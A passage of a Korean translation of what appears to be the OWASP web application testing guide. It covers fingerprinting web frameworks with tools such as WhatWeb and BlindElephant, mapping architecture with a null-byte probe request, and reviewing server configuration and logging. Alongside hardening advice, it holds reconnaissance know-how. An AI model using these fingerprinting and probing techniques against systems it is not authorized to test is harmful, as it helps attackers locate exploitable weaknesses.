때로는 응용 프로그램 관련 폴더 및 기타 중요한 정보가 있을 수 있습니다. robots.txt 파일의 예가 아래 스크린 샷에 나와 있습니다.

특정 파일 및 폴더는 특정 응용 프로그램마다 다릅니다. 어떤 인프라가 제공되고 어떤 파일이 서버에 남아 있을 지 더 잘 이해할 수 있도록 침투 테스트 중에 해당 응용 프로그램을 설치하는 것이 좋습니다. (http://code.google.com/p/fuzzdb/).

HTML source code
'Wordpress' '<meta name="generator" content="WordPress 3.9.2"/>'
'phpBB' '<body id="phpbb"'
'Mediawiki' '<meta name="generator" content="MediaWiki 1.21.9" />'
'Joomla' '<meta name="generator" content="Joomla! - Open Source Content Management" />'
'Drupal' '<meta name="Generator" content="Drupal 7 (http://drupal.org)" />'
'DotNetNuke' 'DNN Platform - http://www.dnnsoftware.com'

도구

WhatWeb

http://www.morningstarsecurity.com/research/whatweb

현재 시장에서 가장 우수한 지문 인식 도구 중 하나입니다. 기본 Kali Linux 빌드에 포함됩니다. 언어: Ruby 지문 일치는 다음으로 이루어집니다.

  • Text strings (case sensitive)
  • Regular expressions
  • Google Hack Database queries (limited set of keywords)
  • MD5 hashes
  • URL recognition
  • HTML tag patterns
  • Custom ruby code for passive and aggressive operations

BlindElephant

https://community.qualys.com/community/blindelephant

이 훌륭한 도구는 정적 파일 체크섬 기반의 원칙에 따라 작동합니다. 버전 차이로 인해 매우 높은 품질의 지문을 제공합니다. 언어: Python

성공적인 지문 샘플 출력

pentester$ python BlindElephant.py http://my_target drupal
Loaded /Library/Python/2.7/site-packages/blindelephant/
dbs/drupal.pkl with 145 versions, 478 differentiating paths,
and 434 version groups.
Starting BlindElephant fingerprint for version of drupal at
http://my_target

Hit http://my_target/CHANGELOG.txt
File produced no match. Error: Retrieved file doesn’t match
known fingerprint. 527b085a3717bd691d47713dff74acf4

Hit http://my_target/INSTALL.txt
File produced no match. Error: Retrieved file doesn’t match
known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4

Hit http://my_target/misc/drupal.js
Possible versions based on result: 7.12, 7.13, 7.14

Hit http://my_target/MAINTAINERS.txt
File produced no match. Error: Retrieved file doesn’t match
known fingerprint. 36b740941a19912f3fdbfcca7caa08ca

Hit http://my_target/themes/garland/style.css
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7,
7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14
...

Fingerprinting resulted in:
7.14

Best Guess: 7.14

Wappalyzer

http://wappalyzer.com

Wapplyzer는 Firefox Chrome 플러그인입니다. 정규식 일치에서만 작동하며 브라우저에 로드할 페이지 이외의 다른 것을 필요로 하지 않습니다. 그것은 브라우저 수준에서 완전히 작동하고 아이콘의 형태로 결과를 제공합니다. 때로는 오탐(false positive)이 있지만, 때때로 페이지를 탐색한 후 대상 웹 사이트를 구성하는 데 사용된 기술을 이해하는 데 매우 편리합니다.

플러그인의 샘플 출력은 아래 스크린 샷에 나와 있습니다.


참고 문헌

Whitepapers

권고 사항

일반적인 조언은 위에 설명된 여러 도구를 사용하여 로그를 검사하여 침입자가 웹 프레임워크를 공개하는 데 정확히 도움이 되는지 이해하는 것입니다. 프레임워크 트랙을 숨기도록 변경한 후에 여러 번 스캔을 수행하면 더 나은 보안 수준을 달성하고 자동 스캔으로 프레임워크를 감지할 수 없는 지 확인할 수 있습니다. 다음은 프레임워크 마커 위치 및 몇 가지 추가적인 흥미로운 접근법에 따른 몇 가지 구체적인 권장 사항입니다.


HTTP headers

구성을 확인하고 기술이 사용하는 정보를 공개하는 모든 HTTP 헤더를 비활성화하거나 난독화 하십시오. 다음은 Netscaler를 사용하는 HTTP 헤더 난독화에 대한 흥미로운 기사입니다.

http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using-netscaler.html


Cookies

해당 구성 파일을 변경하여 쿠키 이름을 변경하는 것이 좋습니다.


HTML source code

수동으로 HTML 코드의 내용을 확인하고 명시적으로 프레임워크를 가리키는 모든 것을 제거하십시오.

일반 지침 :

  • 프레임 워크를 공개하는 시각적 마커가 없는지 확인하십시오.
  • 불필요한 주석(저작권, 버그 정보, 특정 프레임 워크 주석)을 제거하십시오.
  • META 및 생성기 태그 제거
  • 회사의 css 또는 js 파일을 사용하고 프레임 워크 관련 폴더에 파일을 저장하지 않습니다.
  • 페이지에서 기본 스크립트를 사용하지 않거나 사용해야 할 경우 난독 화합니다.

특정 파일과 폴더

일반 지침:

  • 서버에서 불필요하거나 사용되지 않는 파일을 제거하십시오. 이것은 텍스트 파일이 버전 및 설치에 대한 정보를 공개함을 의미합니다.
  • 외부 파일에 액세스 할 때 404 응답을 얻기 위해 다른 파일에 대한 액세스를 제한하십시오. 예를 들어, htaccess 파일을 수정하고, RewriteCond 또는 RewriteRule을 추가하여 이를 수행 할 수 있습니다. 두 가지 일반적인 WordPress 폴더에 대한 이러한 제한의 예가 아래에 나와 있습니다.
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]
RewriteCond %{REQUEST_URI} /wp-admin/$
RewriteRule $ /http://your_website [R=404,L]

그러나 이것 만이 액세스를 제한하는 유일한 방법은 아닙니다. 이 프로세스를 자동화하기 위해 특정 프레임워크 관련 플러그인이 존재합니다. WordPress의 한 가지 예가 StealthLogin입니다. (http://wordpress.org/plugins/stealth-login-page).


추가 접근법

일반 지침:

  1. 체크섬 관리

이 접근법의 목적은 체크섬 기반 스캐너를 이기고, 해시로 파일을 공개하지 못하게하는 것입니다. 일반적으로 체크섬 관리에는 두 가지 방법이 있습니다.

  • 파일을 저장할 위치를 변경합니다 (예 : 다른 폴더로 이동하거나 기존 폴더 이름 바꾸기).
  • 내용을 수정하십시오 : 완전히 다른 해시 합계로 약간의 수정 결과가 있어도 파일 끝에 단일 바이트를 추가하는 것이 큰 문제는 아닙니다.
  1. 제어가능한 혼돈

재미있는 방법은 스캐너를 속이고 공격자를 혼란시키기 위해 다른 프레임워크에서 가짜 파일과 폴더를 추가하는 것입니다. 그러나 기존 파일과 폴더를 덮어 쓰지 말고 현재 프레임워크를 깨뜨리지 않도록 주의하십시오!


OTG-INFO-010 (응용 프로그램 아키텍쳐 맵)


개요

상호 연결된 웹 서버 인프라와 이기종 웹 서버 인프라의 복잡성으로 인해 수백 개의 웹 응용 프로그램이 포함될 수 있으며 구성 관리 및 검토는 모든 단일 응용 프로그램을 테스트하고 배포하는 기본 단계가 됩니다.

실제로 전체 인프라의 보안을 약화시키는 데는 단 하나의 취약점만 있으며, 중요하지 않은 최소한의 문제 조차도 동일한 서버의 다른 응용 프로그램에 심각한 위험이 될 수 있습니다. 이러한 문제를 해결하려면 구성 및 알려진 보안 문제에 대한 심층적인 검토를 수행하는 것이 가장 중요합니다. 심층적인 검토를 수행하기 전에 네트워크 및 응용 프로그램 아키텍처를 매핑해야합니다. 인프라를 구성하는 다양한 요소는 웹 응용 프로그램과 상호 작용하는 방법과 보안에 미치는 영향을 이해하기 위해 결정되어야합니다.


테스트 방법

응용 프로그램 아키텍쳐 매핑

응용 프로그램 아키텍쳐는 다른 구성 요소가 웹 응용 프로그램을 빌드하는데 사용되는 결정을 하기위해 몇가지 테스트를 통해 매핑할 필요가 있습니다.

CGI 기반 응용 프로그램과 같은 소규모 설정에서는, 단일 서버가 C, Perl, Shell CGI 응용 프로그램, 인증 메커니즘이 실행되는 웹 서버를 동작하는데 사용될 수 있습니다. 온라인 뱅크 시스템과 같은 복잡한 설정에서는, 여러 서버가 포함될 수 있습니다. 리버스 프록시, 프론트 엔드 웹 서버, 응용 프로그램 서버, 그리고 데이터 베이스 서버 또는 LDAP 서버가 포함될 수 있습니다. 이러한 서버는 서로 다른 목적으로 사용되며, 심지어 그들 사이에 방화벽으로 다른 네트워크와 구분될 수 있습니다.

이렇게하면 서로 다른 DMZ가 만들어지므로 웹 서버에 액세스 할 때 원격 사용자가 인증 메커니즘 자체에 액세스하지 못하게되므로 아키텍처의 여러 요소가 손상되어 전체 아키텍처를 손상시키지 않도록 할 수 있습니다. 이 정보가 문서 형태 또는 인터뷰를 통해 응용 프로그램 개발자에 의해 테스트 팀에 제공되지만 맹목 침투 테스트를 수행하는 경우 매우 어려울 수도 있습니다. 후자의 경우, 테스터는 먼저 간단한 설정 (단일 서버)이 있다는 가정하에 시작합니다.

그런 다음 다른 테스트에서 정보를 검색하고 다른 요소를 도출하고이 가정에 의문을 제기하고 아키텍처 매핑을 확장합니다.

테스터는 "웹 서버를 보호하는 방화벽 시스템이 있습니까?"와 같은 간단한 질문을 통해 시작됩니다.

이 질문은 웹 서버를 대상으로 한 네트워크 검색 결과와 웹 서버의 네트워크 포트가 네트워크 에지에서 필터링되는지(응답이 없거나 ICMP 도달 할 수 없는지 여부) 분석 또는 서버가 인터넷에 직접 연결됨 (즉, 모든 비리스닝 포트에 대한 패킷에 RST를 반환 함). 이 분석은 네트워크 패킷 테스트를 기반으로 사용되는 방화벽 유형을 결정하기 위해 향상 될 수 있습니다. 그것은 stateful 방화벽입니까 아니면 라우터의 액세스 목록 필터입니까? 어떻게 구성됩니까? 이를 우회 할 수 있습니까? 웹 서버 앞에있는 역방향 프록시를 감지하려면 역방향 프록시의 존재를 직접 공개 할 수있는 웹 서버 배너 분석(예: 'WebSEAL'[1]이 리턴 된 경우)이 필요합니다. 요청에 대한 웹 서버의 응답을 얻고 예상되는 응답과 비교하여 결정할 수도 있습니다. 예를 들어, 일부 역방향 프록시는 웹 서버를 대상으로 알려진 공격을 차단하여 "침입 방지 시스템"(또는 웹 차단) 역할을합니다. 웹 서버가 사용할 수없는 페이지를 대상으로하는 요청에 대해 404 메시지로 응답하는 것으로 알려져 있고 CGI 검색 프로그램과 같은 일반적인 웹 공격에 대해 다른 오류 메시지를 반환하는 경우 역방향 프록시 (또는 응용 프로그램 수준 방화벽). 요청을 필터링하고 예상 한 것과 다른 오류 페이지를 반환합니다. 또 다른 예 : 웹 서버가 사용 가능한 HTTP 메소드 (TRACE 포함)를 반환하지만 예상되는 메소드가 오류를 반환하면 차단하는 동안 뭔가가있을 수 있습니다. 경우에 따라 보호 시스템조차도 스스로를 멀리합니다.

GET /web-console/ServerInfo.jsp%00 HTTP/1.0
HTTP/1.0 200
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 83

<TITLE>Error</TITLE>
<BODY>
<H1>Error</H1>
FW-1 at XXXXXX: Access denied.</BODY>

Check Point Firewall-1 NG AI "protecting" 웹 서버의 보안 서버 예제

역 프록시를 프록시 캐시로 도입하여 백엔드 응용 프로그램 서버의 성능을 가속화 할 수도 있습니다. 이러한 프록시는 서버 헤더를 기반으로 탐지 할 수 있습니다. 또한 서버가 캐시해야하는 타이밍 요청과 첫 번째 요청을 처리하는 데 소요 된 시간을 후속 요청과 비교하여 감지 할 수 있습니다.

감지 할 수있는 또 다른 요소는 네트워크 부하 분산 장치입니다. 일반적으로 이러한 시스템은 서로 다른 알고리즘(라운드 로빈, 웹 서버로드, 요청 수 등)에 따라 지정된 TCP / IP 포트와 여러 서버의 균형을 맞춥니다. 따라서 이 아키텍처 요소의 탐지는 여러 요청을 검토하고 결과를 비교하여 요청이 동일하거나 다른 웹 서버로 이동하는지 확인해야합니다. 예를 들어 서버 클럭이 동기화되지 않은 경우 날짜 헤더를 기반으로 합니다. 경우에 따라 네트워크 로드밸런싱 프로세스가 Nortel의 Alteon WebSystems 로드밸런서가 도입한 AlteonP 쿠키와 같이 고유하게 눈에 띄는 헤더에 새로운 정보를 삽입할 수 있습니다.

응용 프로그램 웹 서버는 일반적으로 쉽게 감지 할 수 있습니다. 여러 리소스에 대한 요청은 응용 프로그램 서버 자체(웹 서버가 아님)에서 처리하며 응답 헤더는 크게 다릅니다(응답 헤더의 다른 값 또는 추가 값 포함). 웹 서버가 사용중인 응용 프로그램 웹 서버(예: 일부 J2EE 서버에서 제공하는 JSESSIONID)를 나타내는 쿠키를 설정하려고 시도하는지 또는 URL을 자동으로 다시 작성하여 세션 추적을 수행할지 여부를 확인하는 또 다른 방법이 있습니다.

그러나 LDAP 디렉토리, 관계형 데이터베이스 또는 RADIUS 서버와 같은 인증 백엔드는 응용 프로그램 자체에 의해 숨겨지기 때문에 외부 관점에서 즉시 감지하기 쉽지 않습니다.

백엔드 데이터베이스의 사용은 응용 프로그램을 탐색하여 간단히 결정할 수 있습니다. "동적으로 생성되는" 매우 동적인 내용이있는 경우 응용 프로그램 자체에서 일종의 데이터베이스에서 추출되는 경우가 있습니다. 정보가 요청되는 방식에 따라 데이터베이스 백엔드의 존재 여부를 파악할 수 있는 경우가 있습니다. 예를 들어, 상점에서 다른 기사를 검색 할 때 숫자 식별자('ID')를 사용하는 온라인 쇼핑 응용 프로그램입니다. 그러나 막연한 응용 프로그램 테스트를 수행할 때 기본 데이터베이스에 대한 지식은 일반적으로 응용 프로그램에 취약점이 나타날 때만 사용할 수 있습니다.


참고 문헌

  • WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.
  • There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet

01_설정 및 배포 관리 테스트

OTG-CONFIG-001 (네트워크 및 인프라 설정 테스트)


개요

수백 개의 웹 응용 프로그램을 포함 할 수 있는 상호 연결된 이기종 웹 서버 인프라의 본질적인 복잡성으로 인해 구성 관리가 검토되고 모든 단일 응용 프로그램을 테스트하고 배포하는 기본 단계가 검토됩니다.

전체 인프라의 보안을 약화시키는 데는 단 하나의 취약점 만 있으며, 중요하지 않은 작은 문제조차도 동일한 서버의 다른 응용 프로그램에 심각한 위험이 될 수 있습니다. 이러한 문제를 해결하기 위해 전체 아키텍처를 매핑 한 후 구성 및 알려진 보안 문제에 대한 심층적 인 검토를 수행하는 것이 가장 중요합니다.

웹 서버 인프라의 적절한 구성 관리는 응용 프로그램 자체의 보안을 유지하기 위해 매우 중요합니다. 웹 서버 소프트웨어, 백엔드 데이터베이스 서버 또는 인증 서버와 같은 요소가 적절하게 검토 및 보호되지 않으면 바람직하지 않은 위험을 초래하거나 응용 프로그램 자체를 손상시킬 수있는 새로운 취약점이 도입 될 수 있습니다.

예를 들어 익명의 사용자가 소스 코드에 공개된 정보를 사용하여 응용 프로그램이나 해당 사용자에 대한 공격을 활용할 수 있으므로, 원격 공격자가 응용 프로그램 자체의 소스 코드를 공개 할 수 있는 웹 서버 취약점이 응용 프로그램을 손상시킬 수 있습니다.

구성 관리 인프라를 테스트하려면 다음 단계를 수행해야합니다.

  • 인프라를 구성하는 다양한 요소는 웹 응용 프로그램과 상호 작용하는 방법과 해당 응용 프로그램의 보안에 미치는 영향을 이해하기 위해 결정되어야 합니다.
  • 인프라의 모든 요소는 알려진 취약점을 포함하지 않도록 검토해야합니다.
  • 모든 다른 요소를 유지하는 데 사용되는 관리 도구에 대한 검토가 필요합니다.
  • 인증 시스템은 응용 프로그램의 요구 사항을 충족시키고 액세스를 활용하기 위해 외부 사용자가 조작 할 수 없다는 것을 확인하기 위해 검토해야합니다.
  • 응용 프로그램에 필요한 정의된 포트 목록을 유지 관리하고 변경 제어하에 유지해야 합니다.

인프라를 구성하는 다양한 요소를 매핑 한 후에는 발견 된 각 요소의 구성을 검토하고 알려진 취약성을 테스트 할 수 있습니다.


테스트 방법

알려진 서버 취약점

어플리케이션 구조의 다른 영역에서 발견되는 취약점은 웹 서버나 백 엔드 데이터베이스에 있는 것으로 애플리케이션 자체를 손상시킬 수 있습니다. 예를 들어, 비인가된 사용자가 원격에서 웹 서버에 파일을 업로드하거나 파일을 교체할 수 있다고 고려해봅시다. 취약점은 어플리케이션 자체를 교체하거나 백 엔드 서버에 영향을 미칠 수 있는 코드를 삽입하여 어플리케이션을 손상시킬 수 있습니다. 서버 취약점 검토는 블라인드 침투 테스트를 통해 해야한다면 어려울 수 있습니다. 이러한 경우 취약점은 일반적으로 자동화된 툴을 이용하여 원격지에서 테스트되어야 합니다.

그러나, 일부 취약점 테스트는 웹 서버에 예기치 않은 결과를 가질 수 있고, 테스트가 성공할 경우 관련된 서비스가 중지될 수 도 있습니다. 일부 자동화 툴은 웹 서버 버전에 기반한 플래그 취약점을 기반으로 합니다. 이것은 진실 혹은 거짓으로 결정하며, 웹 서버 버전이 제거된 경우나 로컬 사이트 관리자가 모호하다면 스캔 툴을 사용하지 않습니다.

반면에 취약성이 수정되었을 때 소프트웨어를 제공하는 공급 업체가 웹 서버 버전을 업데이트하지 않으면 검사 도구는 존재하지 않는 취약점을 표시합니다. 후자의 경우는 실제로 일부 운영 체제 공급 업체가 보안 취약성 패치를 운영 체제에서 제공하는 소프트웨어로 다시 포팅하지만 최신 소프트웨어 버전으로 전체 업로드하지는 않기 때문에 실제로 매우 일반적입니다.

데비안, 레드햇, 수세 (SuSE)와 같은 대부분의 GNU / 리눅스 배포판에서 이런 일이 발생합니다.

대부분의 경우, 응용 프로그램 아키텍처의 취약성 검색은 아키텍처의 "노출된" 요소 (예: 웹 서버)와 관련된 취약점만 발견하고 일반적으로 노출되지 않은 요소와 관련된 취약점을 찾을 수 없습니다.

마지막으로 모든 소프트웨어 벤더가 공개적으로 취약점을 공개하는 것은 아니므로이 취약점은 공개된 취약성 데이터베이스에 등록되지 않습니다. 이 정보는 고객에게만 공개되거나 권고가 포함되지 않은 수정 프로그램을 통해 게시됩니다. 이것은 취약점 스캐닝 도구의 유용성을 감소시킵니다.

일반적으로 이러한 도구의 취약성 범위는 일반적인 제품 (예 : Apache 웹 서버, Microsoft Internet Information Server 또는 IBM Lotus Domino)에 매우 적합하지만 덜 알려진 제품에는 부족합니다.

따라서 테스터에게 소프트웨어에 사용된 버전과 릴리스, 소프트웨어에 적용된 패치 등 사용된 소프트웨어의 내부 정보가 제공 될 때 취약점을 검토하는 것이 가장 좋습니다.

이 정보를 사용하여 테스터는 공급 업체 자체에서 정보를 검색하고 아키텍처에 존재할 수있는 취약점과 응용 프로그램 자체에 어떤 영향을 줄 수 있는지 분석합니다.

가능하면 이러한 취약점을 테스트하여 실제 효과를 확인하고 악용 성공 가능성을 감소 시키거나 무효화 할 수있는 외부 요소 (침입 탐지 또는 예방 시스템 등)가 있을지 여부를 감지 할 수 있습니다. 테스터는 구성 검토를 통해 심지어 사용되지 않는 소프트웨어 구성 요소에 영향을 미치기 때문에 취약점이 존재하지 않는다고 판단 할 수도 있습니다.

또한 공급 업체는 때때로 취약점을 자동으로 수정하고 새로운 소프트웨어 릴리스에서 수정 프로그램을 사용할 수 있음을 알아 두는 것도 가치가 있습니다. 다른 공급 업체는 이전 릴리스에 제공 할 수있는 지원 여부를 결정하는 릴리스주기가 다릅니다.

아키텍처에서 사용하는 소프트웨어 버전에 대한 자세한 정보가 있는 테스터는 단기간에 지원되지 않거나 이미 지원되지 않는 이전 소프트웨어 릴리스 사용과 관련된 위험을 분석 할 수 있습니다. 더 이상 지원되지 않는 구 버전의 소프트웨어에 취약성이있을 경우 시스템 담당자가이를 직접 알지 못할 수 있기 때문에 이것은 중요합니다. 패치를 사용할 수 없으며 권고가 더 이상 지원되지 않는만큼 해당 버전을 취약한 것으로 나열하지 않을 수 있습니다. 취약점이 존재하고 시스템이 취약하다는 것을 알고있는 경우에도 새로운 소프트웨어 릴리스로 완전히 업그레이드해야 할 필요가 있습니다. 이로 인해 응용 프로그램 아키텍처에 심각한 중단 시간이 생기거나 응용 프로그램이 다시 강제 실행될 수 있습니다.


관리 도구

모든 웹 서버 인프라에는 응용 프로그램에서 사용하는 정보를 유지 관리하고 업데이트하기 위한 관리 도구가 필요합니다. 이 정보에는 정적 컨텐츠(웹 페이지, 그래픽 파일), 응용 프로그램 소스 코드, 사용자 인증 데이터베이스 등이 포함됩니다. 관리 도구는 사용된 사이트, 기술 또는 소프트웨어에 따라 다릅니다. 예를 들어, 일부 웹 서버는 웹 서버와 같은 관리 인터페이스를 사용하여 관리되거나 일반 텍스트 구성 파일에 의해 관리되거나 운영 체제 GUI 툴에 의해 관리됩니다.

대부분의 경우 서버 구성은 FTP 서버, WebDAV, 네트워크 파일 시스템 (NFS, CIFS) 또는 기타 메커니즘을 통해 관리되는 웹 서버에서 사용되는 다른 파일 유지 관리 도구를 사용하여 처리됩니다. 물론 애플리케이션 아키텍처를 구성하는 요소의 운영 체제도 다른 도구를 사용하여 관리됩니다. 응용 프로그램에는 응용 프로그램 데이터 자체(사용자, 컨텐트 등)를 관리하는 데 사용되는 관리 인터페이스가 포함될 수도 있습니다.

아키텍처의 여러 부분을 관리하는 데 사용된 관리 인터페이스를 매핑한 후에는 공격자가 액세스 할 수 있으면 응용 프로그램 아키텍처를 손상 시키거나 손상시킬 수 있으므로 검토하는 것이 중요합니다. 이렇게 하려면 다음을 수행하는 것이 중요합니다.

  • 이러한 인터페이스 및 관련 감수성에 대한 액세스를 제어하는 메커니즘을 결정합니다. 이 정보는 온라인에서 볼 수 있습니다.
  • 기본 사용자 이름과 암호를 변경하십시오.

일부 회사는 웹 서버 응용 프로그램의 모든 측면을 관리하지 않기로 선택하지만 웹 응용 프로그램에서 제공하는 콘텐츠를 관리하는 다른 당사자가 있을 수 있습니다. 이 외부 회사는 컨텐츠의 일부만 제공하거나(뉴스 업데이트 또는 프로모션) 웹 서버를 완전히 관리 할 수 있습니다(컨텐츠 및 코드 포함). 인터넷을 사용하면 외부 회사와 관리 전용 인터페이스를 통해 응용 프로그램 인프라를 연결하는 전용 회선을 제공하는 것보다 비용이 적기 때문에 관리 인터페이스를 인터넷에서 사용할 수 있습니다. 이 경우 관리 인터페이스가 공격에 취약 할 수 있는지를 테스트하는 것이 매우 중요합니다.


참고 문헌

  • WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.
  • Such as Symantec`s Bugtraq, ISS` X-Force, or NIST`s National Vulnerability Database (NVD).
  • There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.

OTG-CONFIG-002 (어플리케이션 플랫폼 설정 테스트)


개요

애플리케이션 아키텍처를 구성하는 단일 요소의 올바른 구성은 전체 아키텍처의 보안을 손상시킬 수 있는 실수를 방지하는 데 중요합니다. 구성 검토 및 테스트는 아키텍처를 만들고 유지 관리하는 중요한 작업입니다. 많은 다른 시스템은 대개 그들이 설치되어 있는 특정 사이트에서 수행할 작업에 적합하지 않을 수도 있는 일반적인 구성을 제공하기 때문입니다.

일반적인 웹 및 응용 프로그램 서버 설치에는 응용 프로그램 예제, 문서, 테스트 페이지와 같은 많은 기능이 포함되지만 설치 전에 악용되지 않도록 배포 전에 제거해야합니다.


테스트 방법


Black Box Testing

샘플 및 알려진 파일 및 디렉토리

대부분의 웹 서버 및 응용 프로그램 서버는 기본 설치에서 개발자의 이익을 위해 제공되는 샘플 응용 프로그램과 파일을 제공하고 설치 직 후 서버가 제대로 작동하는지 테스트합니다. 그러나 많은 기본 웹 서버 응용 프로그램은 나중에 그 파일로 인해 취약한 것으로 알려져 있습니다. 예를 들어, CVE-1999-0449 (Exair 샘플 사이트가 설치되었을 때 IIS에서 서비스 거부), CAN-2002-1744 (Microsoft IIS 5.0의 CodeBrws.asp에서 디렉터리 통과 취약점), CAN -2002-1630 (Oracle 9iAS에서 sendmail.jsp 사용) 또는 CAN-2003-1172 (Apache`s Cocoon의보기 소스 샘플에서 디렉토리 탐색)가 그것입니다.

CGI 스캐너에는 다양한 웹 또는 응용 프로그램 서버에서 제공하는 알려진 파일 및 디렉토리 샘플의 세부 목록이 포함되어 있으며 이러한 파일이 있는지를 빠르게 확인할 수 있습니다. 그러나 실제로 확실한 방법은 웹 서버 또는 응용 프로그램 서버의 내용을 전체적으로 검토하고 응용 프로그램 자체와 관련이 있는지 여부를 결정하는 것입니다.

주석 검토

프로그래머가 소스 코드에 대한 자세한 주석을 포함시켜 다른 프로그래머가 특정 기능을 코딩 할 때 주어진 결정이 왜 취해진 것인지 더 잘 이해할 수 있도록 하는 것은 매우 일반적이며 권장되는 방법입니다. 프로그래머는 일반적으로 대형 웹 기반 응용 프로그램을 개발할 때 주석을 추가합니다. 그러나 HTML 코드의 인라인에 포함 된 주석은 공격자가 사용할 수 없는 내부 정보를 나타낼 수 있습니다. 때로는 기능이 더 이상 필요 없기 때문에 소스 코드 조차도 주석 처리 되었지만,이 주석은 의도하지 않게 사용자에게 반환된 HTML 페이지로 유출됩니다. 주석 검토를 통해 정보가 주석을 통해 유출되었는지 확인해야합니다. 이 검토는 웹 서버 정적 및 동적 컨텐츠 분석과 파일 검색을 통해서만 철저히 수행 할 수 있습니다. 자동 또는 가이드 방식으로 사이트를 탐색하고 검색된 모든 컨텐츠를 저장하는 것이 유용 할 수 있습니다. 그런 다음 코드에서 사용할 수있는 HTML 주석을 분석하기 위해 검색된 컨텐츠를 검색 할 수 있습니다.


Gray Box Testing

**설정 검토*

웹 서버 또는 응용 프로그램 서버 구성은 사이트의 내용을 보호하는 데 중요한 역할을하므로 일반적인 설정 실수를 방지하기 위해 신중하게 검토해야합니다. 물론 권장 설정은 사이트 정책 및 서버 소프트웨어에서 제공해야하는 기능에 따라 다릅니다. 그러나 대부분의 경우 서버가 올바르게 보호되었는지 확인하기 위해 설정 지침 (소프트웨어 공급 업체 또는 외부 업체에서 제공)을 따라야합니다.

대체로 서버를 설정하는 방법을 일반적으로 말하는 것은 불가능하지만 몇 가지 일반적인 지침을 고려해야합니다.

  • 응용 프로그램에 필요한 서버 모듈(IIS의 경우 ISAPI 확장)만 사용 가능하게 설정하십시오. 이렇게하면 소프트웨어 모듈이 비활성화되어 서버의 크기와 복잡성이 줄어들기 때문에 공격 대상이 줄어 듭니다. 또한 이미 비활성화 된 모듈에만 해당되는 경우 공급업체 소프트웨어에 나타날 수 있는 취약점이 사이트에 영향을 주는 것을 방지합니다.
  • 기본 웹 서버 페이지 대신 사용자 정의 페이지로 서버 오류(40x 또는 50x)를 처리하십시오. 특히 모든 응용 프로그램 오류가 최종 사용자에게 반환되지 않으며 공격자를 도울 것이므로 이러한 오류를 통해 누출된 코드가 없는지 확인하십시오. 개발자는 사전 제작 환경에서 이 정보가 필요하기 때문에 실제로 이 점을 잊어 버리는 것이 일반적입니다.
  • 서버 소프트웨어가 운영 체제에서 최소화된 권한으로 실행되는지 확인하십시오. 이렇게하면 공격자가 코드를 웹 서버로 실행한 후에 권한을 강화할 수는 있지만 서버 소프트웨어의 오류로 인해 전체 시스템이 직접 손상되지 않습니다.
  • 서버 소프트웨어가 적법한 액세스와 오류를 올바르게 기록하는지 확인하십시오.
  • 서버가 과부하를 적절히 처리하고 DoS (Denial of Service) 공격을 차단하도록 서버가 구성되어 있는지 확인하십시오. 서버가 제대로 성능이 조정되었는지 확인하십시오.
  • 관리자가 아닌 사용자는 applicationHost.config, 리디렉션에 액세스 할 수 없습니다. config 및 administration.config를 참조하십시오. 여기에는 네트워크 서비스, IIS_IUSRS, IUSR 또는 IIS 응용 프로그램 풀이 사용하는 사용자 지정 ID가 포함됩니다. IIS 작업자 프로세스는 이러한 파일에 직접 액세스하지 않습니다.
  • 네트워크에서 applicationHost.config, redirection.config 및 administration.config를 절대로 공유하지 마십시오. 공유 구성을 사용하는 경우 applicationHost.config를 다른 위치로 내보내는 것이 좋습니다.
  • 모든 사용자는 기본적으로 .NET Framework machine.config 및 root web.config 파일을 읽을 수 있습니다. 관리자의 눈에만 사용해야하는 경우 중요한 정보를 이 파일에 저장하지 마십시오.
  • 시스템의 다른 사용자가 아닌 IIS 작업자 프로세스에서만 읽어야하는 중요한 정보를 암호화하십시오.
  • 웹 서버가 공유 applicationHost.config에 액세스하는 데 사용하는 ID에 대한 쓰기 권한을 부여하지 마십시오. 이 ID는 읽기 액세스 권한 만 가져야합니다.
  • 별도의 ID를 사용하십시오. 웹 서버가 공유 applicationHost.config에 액세스하는 데 사용하는 ID에 대한 쓰기 권한을 부여하지 마십시오. 이 ID는 읽기 액세스 권한 만 가져야합니다. applicationHost.config를 공유에 게시합니다. 이 ID를 웹 서버의 공유 구성에 대한 액세스 구성에 사용하지 마십시오.
  • 공유 구성에서 사용할 암호화 키를 내보낼 때 강력한 암호를 사용하십시오.
  • 공유 구성 및 암호화 키를 포함하는 공유에 대한 제한된 액세스를 유지합니다. 이 공유가 손상되면 침입자는 웹 서버의 IIS 구성을 읽고 쓸 수 있고 웹 사이트의 트래픽을 악의적 인 원본으로 리디렉션 할 수 있으며 경우에 따라 IIS 작업자 프로세스에 임의의 코드를 로드하여 모든 웹 서버를 제어 할 수 있습니다.
  • 방화벽 규칙 및 IPsec 정책으로이 공유를 보호하여 구성원 웹 서버 만 연결할 수 있도록하십시오.

로깅

로깅은 응용 프로그램 아키텍처의 보안에 중요한 자산입니다. 응용 프로그램의 결함 (사용자가 끊임없이 존재하지 않는 파일을 검색하려고하는 사용자)은 물론 불량 사용자의 지속적인 공격을 탐지하는 데 사용할 수 있기 때문입니다. 로그는 일반적으로 웹 및 기타 서버 소프트웨어에 의해 올바르게 생성됩니다. 로그에 작업을 제대로 기록하는 응용 프로그램을 찾는 것이 일반적이지 않으며 응용 프로그램 로그의 주요 목적은 프로그래머가 특정 오류를 분석하는 데 사용할 수있는 디버깅 출력을 생성하는 것입니다.

두 경우 모두 (서버 및 응용 프로그램 로그) 로그 내용을 기반으로 몇 가지 문제를 테스트하고 분석해야합니다.

  • 로그에 중요한 정보가 포함되어 있습니까?
  • 로그가 전용 서버에 저장되어 있습니까?
  • 로그 사용이 서비스 거부 상태를 생성 할 수 있습니까?
  • 어떻게 회전 시켰지? 충분한 시간 동안 기록을 보관하고 있습니까?
  • 로그는 어떻게 검토됩니까? 관리자가 이러한 검토를 사용하여 대상 공격을 탐지 할 수 있습니까?
  • 로그 백업은 어떻게 보존됩니까?
  • 기록되는 데이터가 기록되기 전에 유효성이 검사됩니까 (최소 / 최대 길이, 문자 등)?

로그의 민감한 정보

